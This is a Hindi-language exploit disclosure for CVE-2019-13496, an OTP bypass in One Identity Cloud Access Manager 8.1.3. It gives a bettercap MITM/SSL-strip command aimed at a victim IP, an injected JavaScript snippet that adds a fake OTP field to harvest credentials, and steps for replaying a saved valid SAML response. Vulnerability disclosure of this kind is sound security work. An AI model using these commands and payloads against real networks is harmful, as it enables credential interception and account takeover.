CVE-2019-13496
शोषण शीर्षक: OTP bypass (Filed Integrity check)
दिनांक: 07/10/2019
शोषण लेखक: Furqan Khan
विक्रेता होमपेज: https://www.oneidentity.com/
सॉफ़्टवेयर लिंक: https://www.oneidentity.com/products/cloud-access-manager/
संस्करण: 8.1.3
परीक्षण किया गया: Kali Linux , Windows 7 ,Ubantu 16.04
OTP बायपास भेद्यता का शोषण करने के लिए, एक हमलावर पहले से खोजी गई MITM/SSL-Strip भेद्यता CVE-2019-13498 , CVE-2019-13498 का उपयोग करता है। एक हमलावर MITM / SSL strip हमला करता है जिसके माध्यम से वह पीड़ित को दिए जा रहे वेब पेज में एक OTP टेक्स्ट बॉक्स इंजेक्ट कर सकता है। पीड़ित अपना उपयोगकर्ता नाम, पासवर्ड और OTP साझा करता है जो डिफेंडर नामक एक ऐप (जो उसी विक्रेता के स्वामित्व में है) से उत्पन्न होता है। हमलावर उपयोगकर्ता नाम, पासवर्ड और OTP को इंटरसेप्ट करता है और फिर एक वैध कार्यप्रवाह के माध्यम से एप्लिकेशन तक पहुंचने का प्रयास करता है। उपयोगकर्ता नाम और पासवर्ड (जो चुराए गए थे) डालने के बाद, हमलावर अगले पृष्ठ पर चुराया गया OTP डालता है। जब OTP पृष्ठ पर अनुरोध सबमिट किया जाता है तो हस्ताक्षरित SAML प्रतिक्रिया सहेज ली जाती है। अब भले ही हमलावर के पास OTP उत्पन्न करने वाले ऐप तक पहुंच न हो, वह क्रमिक लेन-देन के लिए अमान्य OTP डाल सकता है और जब एप्लिकेशन OTP को अमान्य कर देता है, हमलावर विफल SAML प्रतिक्रिया को पहले प्राप्त वैध SAML प्रतिक्रिया से बदल सकता है, और एप्लिकेशन अखंडता जाँच करने में विफल रहता है और हमलावर को लॉग इन कर देता है।
(1) हमले का पहला चरण MITM/SSL-Strip करना है जो इसके अंतर्गत कैप्चर किया गया है: CVE-2019-13498 , और नीचे भी निर्दिष्ट किया गया है:
उपयोग किया गया bettercap कमांड है:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

यहाँ 192.168.1.103 पीड़ित का IP पता है। यदि हम इसे नहीं जानते हैं, तो हम bettercap का उपयोग करके पूरे LAN (हमलावर और पीड़ित के सामान्य नेटवर्क) की सामग्री को सूँघ और हेरफेर कर सकते हैं।
inject_js.js की सामग्री नीचे दी गई है
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
अब जब पीड़ित उत्पाद (Cloud access manager) ब्राउज़ करेगा, तो cache piosining और SSL strip (Bettercap) के कारण, इंजेक्ट किए गए जावास्क्रिप्ट स्निपेट के माध्यम से पीड़ित को दिए जाने वाले पेज में एक OTP टेक्स्ट बॉक्स इंजेक्ट किया जाएगा

चूंकि कनेक्शन ssl-strip के माध्यम से http पर डाउनग्रेड हो जाता है, अब सारा ट्रैफ़िक हमलावर को दिखाई देगा। इस प्रकार हम ट्रैफ़िक को इंटरसेप्ट कर सकते हैं, और पीड़ित द्वारा सबमिट किए गए उपयोगकर्ता नाम, पासवर्ड और OTP देख सकते हैं।

अब मान लेते हैं कि हम सहेजे गए क्रेडेंशियल्स के साथ एक बार लॉग इन कर चुके हैं और सभी वैध अनुरोध और प्रतिक्रियाएं सहेज ली हैं।
इस खंड में हम सीखेंगे कि हम पहले से सहेजी गई OTP प्रतिक्रिया का उपयोग करके OTP सत्यापन को कैसे बायपास कर सकते हैं, जो हमें एप्लिकेशन में लॉग इन करने की अनुमति देगा।
आइए नीचे दिखाए अनुसार एक अमान्य OTP इनपुट करें:

नीचे दिखाई गई वह प्रतिक्रिया है जो OTP सत्यापन में विफल होती है।

विफल प्रतिक्रिया को पहले से सहेजी गई वैध प्रतिक्रिया से बदलें।

नीचे दिखाई गई SAML प्रतिक्रिया है जो OTP सत्यापन में विफल होती है।

विफल प्रतिक्रिया को पहले से सहेजी गई वैध SAML प्रतिक्रिया से बदलें।

Bingo, एप्लिकेशन हमें लॉग इन करता है। आदर्श रूप से इसे अखंडता जाँच करनी चाहिए थी और इस बात का ध्यान रखना चाहिए था कि OTP समाप्त हो चुका है।

Bingo! यह आसान था!